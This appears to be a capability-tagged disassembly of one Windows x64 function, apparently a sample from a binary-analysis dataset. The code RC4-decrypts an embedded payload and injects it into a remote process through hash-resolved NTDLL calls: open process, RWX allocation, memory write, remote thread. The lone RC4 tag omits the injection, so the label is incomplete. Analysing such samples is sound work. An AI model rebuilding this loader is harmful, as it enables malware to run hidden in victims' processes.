Function at 0x140001280
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x47]
sub rsp, 0xf0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x37], rax
mov rcx, qword [rdx + 8]
xor esi, esi
mov qword [rbp - 0x49], rsi
mov qword [rbp - 0x39], rsi
mov qword [rbp - 0x41], rsi
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
lea rcx, str.NTDLL
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xorps xmm0, xmm0
mov dword [rbp - 1], 0x30
mov rdi, rax
mov qword [rbp + 7], rsi
lea rax, [0x140005198]
mov qword [rbp - 0x11], rbx
lea r14, [0x140005080]
mov qword [rbp - 0x29], rax
lea rcx, str.Advapi32.dll
mov qword [rbp - 9], rsi
movups xmmword [rbp + 0xf], xmm0
mov qword [rbp + 0x2f], 0x116
movups xmmword [rbp + 0x1f], xmm0
mov dword [rbp - 0x31], 0xf
mov dword [rbp - 0x2d], 0xf
mov dword [rbp - 0x21], 0x116
mov dword [rbp - 0x1d], 0x116
mov qword [rbp - 0x19], r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rbx, rax
test rax, rax
jne 0x14000135b
lea rcx, str.FAIL
call fcn.140001010
mov rdx, rbx
lea rcx, str.0x_p_n
call fcn.140001010
lea rdx, [rbp - 0x31]
lea rcx, [rbp - 0x21]
call rbx
test eax, eax
je 0x14000139c
mov edx, eax
lea rcx, str.____Failed_With_Code:_0x_0.08
call fcn.140001010
lea rcx, str.Failed_Encrypting
call fcn.140001010
mov eax, 1
jmp 0x14000155b
mov edx, 0x616bcd2b
mov rcx, rdi
call fcn.140001070
mov rdx, rax
lea rcx, str._NtOpenProcess__n___________0x_p_n
mov rbx, rax
call fcn.140001010
lea r9, [rbp - 0x11]
mov edx, 0x1fffff
lea r8, [rbp - 1]
lea rcx, [rbp - 0x49]
call rbx
test eax, eax
je 0x1400013e8
lea rcx, str.Failed_Getting_Handle
call fcn.140001010
mov eax, 1
jmp 0x14000155b
mov rdx, qword [rbp - 0x49]
lea rcx, str.Got_Handle_n____________0x_p_n_n
call fcn.140001010
mov edx, 0xb4983c2f
mov rcx, rdi
call fcn.140001070
mov rdx, rax
lea rcx, str._NtAllocate__n____0x_p_n
mov rbx, rax
call fcn.140001010
mov rcx, qword [rbp - 0x49]
lea r9, [rbp + 0x2f]
xor r8d, r8d
mov dword [rsp + 0x28], 0x40
lea rdx, [rbp - 0x41]
mov dword [rsp + 0x20], 0x3000
call rbx
test eax, eax
je 0x140001452
lea rcx, str.Failed_Allocating_a_Buffer
call fcn.140001010
mov eax, 1
jmp 0x14000155b
mov rdx, qword [rbp - 0x41]
lea rcx, str.Allocate_a_Buffer_n_________0x_p_n_n
call fcn.140001010
mov edx, 0x92a7f011
mov rcx, rdi
call fcn.140001070
mov rdx, rax
lea rcx, str._NtWrite__n_________0x_p_n
mov rbx, rax
call fcn.140001010
mov r9, qword [rbp + 0x2f]
mov r8, r14
mov rdx, qword [rbp - 0x41]
mov rcx, qword [rbp - 0x49]
mov qword [rsp + 0x20], rsi
call rbx
test eax, eax
je 0x1400014b1
lea rcx, str.Failed_Writing_Into_Buffer_n
call fcn.140001010
mov eax, 1
jmp 0x14000155b
mov rdx, qword [rbp + 0x2f]
lea rcx, str.SuccesFully_Wrote_Into__d_Bytes_Into_Buffer_n_n
call fcn.140001010
mov edx, 0x3c2d6449
mov rcx, rdi
call fcn.140001070
mov rdx, rax
lea rcx, str._NtThread__n________0x_p_n
mov rbx, rax
call fcn.140001010
mov rcx, qword [rbp - 0x41]
lea r8, [rbp - 1]
mov r9, qword [rbp - 0x49]
mov edx, 0x1fffff
mov qword [rsp + 0x50], rsi
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov dword [rsp + 0x30], esi
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp - 0x39]
call rbx
test eax, eax
je 0x140001530
lea rcx, str.Failed_With_Thread
call fcn.140001010
mov eax, 1
jmp 0x14000155b
mov rdx, qword [rbp - 0x39]
lea rcx, str.Started_Thread_n_______0x_p_n
call fcn.140001010
mov rcx, qword [rbp - 0x39]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x49]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov rcx, qword [rbp + 0x37]
xor rcx, rsp
call fcn.140001590
lea r11, [rsp + 0xf0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret